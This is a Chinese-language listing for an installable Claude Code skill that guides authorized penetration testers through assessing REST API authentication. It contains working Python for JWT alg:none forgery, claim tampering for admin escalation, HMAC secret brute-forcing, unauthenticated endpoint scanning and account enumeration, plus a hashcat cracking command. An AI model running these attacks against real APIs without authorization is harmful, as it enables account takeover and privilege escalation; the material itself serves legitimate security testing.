关于 testing-api-authentication-weaknesses
供获得书面授权的安全测试人员评估 REST API 身份验证机制,提供从端点检查到令牌生命周期测试的流程。重点包括 JWT 弱点、未受保护端点、会话管理与密码策略。
主要功能
- 01识别 API 身份验证机制
- 02发现未认证即可访问的端点
- 03分析并测试 JWT 弱点
- 04验证令牌撤销与生命周期
- 05检查密码策略与凭据风险
适用场景
- 01上线前评估 REST API 身份验证
- 02检查 JWT 签名与密钥配置
- 03验证注销后令牌是否失效
- 04查找意外开放的 API 端点
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-api-authentication-weaknesses安装后在 Claude Code 中输入/testing-api-authentication-weaknesses确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
测试 API 身份验证弱点
适用场景
- 在生产部署前评估 REST API 身份验证机制是否存在绕过漏洞
- 测试 JWT 令牌实现是否存在常见弱点(none 算法、密钥混淆、缺少过期时间)
- 评估所有 API 端点是否都强制执行身份验证,或是否有端点意外暴露
- 测试 API 密钥的生成、存储和轮换机制是否存在可预测或泄露问题
- 验证会话管理机制,包括令牌过期、撤销和刷新令牌安全性
未经书面授权,请勿使用。身份验证测试涉及尝试绕过安全控制。
前提条件
- 书面授权,明确指定目标 API 和范围内的身份验证机制
- 至少两种用户角色(普通用户、管理员)的有效测试凭据
- 安装了 JWT 相关扩展(JSON Web Tokens、JWT Editor)的 Burp Suite Professional
- Python 3.10+,以及
requests、PyJWT和jwt库 - 用于凭据测试的词表(SecLists 身份验证词表)
- API 文档或 OpenAPI 规范
工作流
步骤 1:识别身份验证机制
import requests
import json
BASE_URL = "https://target-api.example.com/api/v1"
# Probe the API to identify authentication mechanisms
auth_indicators = {
"jwt_bearer": False,
"api_key_header": False,
"api_key_query": False,
"basic_auth": False,
"oauth2": False,
"session_cookie": False,
"custom_token": False,
}
# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Endpoint accessible without authentication")
# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
scheme = resp.headers["WWW-Authenticate"]
print(f"Auth scheme advertised: {scheme}")
if "Bearer" in scheme:
auth_indicators["jwt_bearer"] = True
elif "Basic" in scheme:
auth_indicators["basic_auth"] = True
# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"username": "[email protected]", "password": "TestPass123!"})
if login_resp.status_code == 200:
login_data = login_resp.json()
# Check for JWT tokens
for key in ["token", "access_token", "jwt", "id_token"]:
if key in login_data:
token = login_data[key]
if token.count('.') == 2:
auth_indicators["jwt_bearer"] = True
print(f"JWT found in response field: {key}")
# Check for refresh tokens
for key in ["refresh_token", "refresh"]:
if key in login_data:
print(f"Refresh token found in field: {key}")
# Check for session cookies
for cookie in login_resp.cookies:
print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
if "session" in cookie.name.lower():
auth_indicators["session_cookie"] = True
print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")
步骤 2:发现未进行身份验证的端点
# Test all endpoints without authentication
endpoints = [
("GET", "/users"),
("GET", "/users/me"),
("GET", "/users/1"),
("GET", "/admin/users"),
("GET", "/admin/settings"),
("GET", "/health"),
("GET", "/metrics"),
("GET", "/debug"),
("GET", "/actuator"),
("GET", "/actuator/env"),
("GET", "/swagger.json"),
("GET", "/api-docs"),
("GET", "/graphql"),
("POST", "/graphql"),
("GET", "/config"),
("GET", "/internal/status"),
("GET", "/.env"),
("GET", "/status"),
("GET", "/info"),
("GET", "/version"),
]
print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
try:
resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
if resp.status_code not in (401, 403):
content_preview = resp.text[:100] if resp.text else "empty"
print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
except requests.exceptions.RequestException:
pass
步骤 3:分析 JWT 令牌
import base64
import json
import hmac
import hashlib
def decode_jwt_parts(token):
"""Decode JWT header and payload without verification."""
parts = token.split('.')
if len(parts) != 3:
return None, None
def pad_base64(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
return header, payload
# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")
# Security checks
issues = []
# Check 1: Algorithm
if header.get("alg") == "none":
issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")
# Check 2: Expiration
if "exp" not in payload:
issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
import time
exp_time = payload["exp"]
ttl = exp_time - time.time()
if ttl > 86400:
issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")
# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
if field in payload:
issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")
# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
issues.append(f"MEDIUM: Missing standard claims: {missing}")
# Check 5: Key ID
if "kid" in header:
kid = header["kid"]
# Test for path traversal in kid
issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")
for issue in issues:
print(f" [{issue.split(':')[0]}] {issue}")
步骤 4:JWT 操纵攻击
# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
"""Create a token with alg:none to bypass signature verification."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
# Variations of the none algorithm
return [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
"""Modify payload claims and test if server validates signature."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload_data.update(modifications)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()).decode().rstrip('=')
return f"{parts[0]}.{new_payload}.{parts[2]}"
# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "test", "admin", "changeme", "default",
"your-256-bit-secret", "my-secret-key", "jwt-secret",
"s3cr3t", "secret123", "mysecretkey", "apisecret",
]
def brute_force_jwt_secret(token):
"""Try common secrets against HMAC-signed JWTs."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
print("Not an HMAC token, skipping brute force")
return None
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
hash_func = {
'HS256': hashlib.sha256,
'HS384': hashlib.sha384,
'HS512': hashlib.sha512
}[header['alg']]
for secret in COMMON_JWT_SECRETS:
expected_sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, hash_func).digest()
).decode().rstrip('=')
if expected_sig == signature:
print(f"[CRITICAL] JWT secret found: '{secret}'")
return secret
print("No common secrets matched - consider using hashcat/john for extended brute force")
return None
# Test all attacks
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {none_token}"})
if resp.status_code == 200:
print(f"[CRITICAL] alg:none bypass successful")
# Test privilege escalation via claim modification
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
print("[CRITICAL] JWT claim modification accepted without signature validation")
brute_force_jwt_secret(token)
步骤 5:测试令牌生命周期
# Test 1: Token reuse after logout
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
headers={"Authorization": f"Bearer {token}"})
print(f"Logout: {logout_resp.status_code}")
# Try to use the token after logout
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
print("[HIGH] Token still valid after logout - no server-side revocation")
# Test 2: Token reuse after password change
# (requires changing password and then testing old token)
# Test 3: Refresh token rotation
refresh_token = login_data.get("refresh_token")
if refresh_token:
# Use refresh token
refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
new_tokens = refresh_resp.json()
# Try to reuse the same refresh token (should fail if rotation is implemented)
reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
if reuse_resp.status_code == 200:
print("[HIGH] Refresh token reuse allowed - no rotation implemented")
# Test 4: Token in URL (leakage risk)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")
步骤 6:密码策略和凭据测试
# Test password policy enforcement on registration/change endpoints
weak_passwords = [
"a", # Too short
"password", # Common password
"12345678", # Numeric only
"abcdefgh", # Alpha only, no complexity
"Password1", # Meets basic complexity but is common
"", # Empty
" ", # Whitespace
]
for pwd in weak_passwords:
resp = requests.post(f"{BASE_URL}/auth/register",
json={"email": f"test_{hash(pwd)%9999}@example.com",
"password": pwd, "name": "Test User"})
if resp.status_code in (200, 201):
print(f"[WEAK POLICY] Password accepted: '{pwd}'")
# Test account enumeration via login response differences
valid_email = "[email protected]"
invalid_email = "[email protected]"
resp_valid = requests.post(f"{BASE_URL}/auth/login",
json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
json={"username": invalid_email, "password": "wrongpassword"})
if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
print(f"[MEDIUM] Account enumeration possible:")
print(f" Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
print(f" Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")
核心概念
| 术语 | 定义 |
|---|---|
| 身份验证失效 | OWASP API2:2023——身份验证机制中的弱点,可能允许攻击者冒充合法用户 |
| JWT(JSON Web Token) | 一种自包含的令牌格式,结构为 header.payload.signature,用于无状态 API 身份验证 |
| 令牌撤销 | 在令牌过期前使其失效的服务端机制,对注销和密码更改至关重要 |
| 凭据填充攻击 | 使用泄露的用户名/密码组合针对身份验证端点发起的自动化攻击 |
| 账户枚举 | 通过有效账户与无效账户返回的不同错误消息或响应时间来确定有效用户名 |
| 刷新令牌轮换 | 一种安全实践,每次使用刷新令牌时都会生成一个新令牌,以防止令牌重用攻击 |
工具和系统
- Burp Suite JWT Editor:用于解码、编辑和重新签署 JWT 令牌的扩展,支持多种攻击模式
- jwt_tool:用于 JWT 测试的 Python 工具,包含 12 种以上攻击模式,包括 alg:none、密钥混淆和 JWKS 欺骗
- hashcat:GPU 加速的密码破解工具,支持 JWT HMAC 密钥暴力破解(模式 16500)
- Hydra:网络登录暴力破解工具,支持基于 HTTP 表单的身份验证和 API 身份验证测试
- Nuclei:基于模板的扫描器,包含用于检测身份验证绕过的模板
常见场景
场景:SaaS 平台 API 身份验证评估
背景:某 SaaS 平台使用 JWT 令牌进行 API 身份验证。JWT 在登录时签发,并用于之后的所有 API 调用。平台还实现了刷新令牌机制。
方法:
- 进行身份验证并捕获 JWT:算法为 HS256,有效期为 7 天,载荷中包含用户角色
- 测试 alg:none 绕过:服务端拒绝该令牌(安全)
- 暴力破解 HMAC 密钥:发现密钥为 "company-jwt-secret-2023"(使用 hashcat 和自定义字典找到)
- 使用发现的密钥伪造带有管理员角色的 JWT:获得所有端点的管理员访问权限
- 测试令牌撤销:注销和更改密码后,令牌仍然有效(没有黑名单)
- 测试刷新令牌:刷新令牌没有有效期,可以无限期重复使用
- 发现密码重置端点对有效和无效邮箱返回不同的消息
- 发现无需身份验证即可访问
/health和/metrics端点
注意事项:
- 只测试登录端点,遗漏密码重置、MFA 和令牌刷新流程中的身份验证弱点
- 未检查所有环境(开发、预发布、生产)中的 JWT 密钥是否相同
- 忽略令牌有效期:有效期为 7 天且无法撤销的 JWT 意味着被盗令牌在一周内都有效
- 未测试服务器日志、URL 参数或错误消息中是否泄露令牌
输出格式
## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable
**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
- POST /api/v1/auth/login (token issuance)
- All authenticated endpoints (token validation)
- POST /api/v1/auth/logout (ineffective)
**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not invalidate the token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.
**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts
**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services
评论
支持 Markdown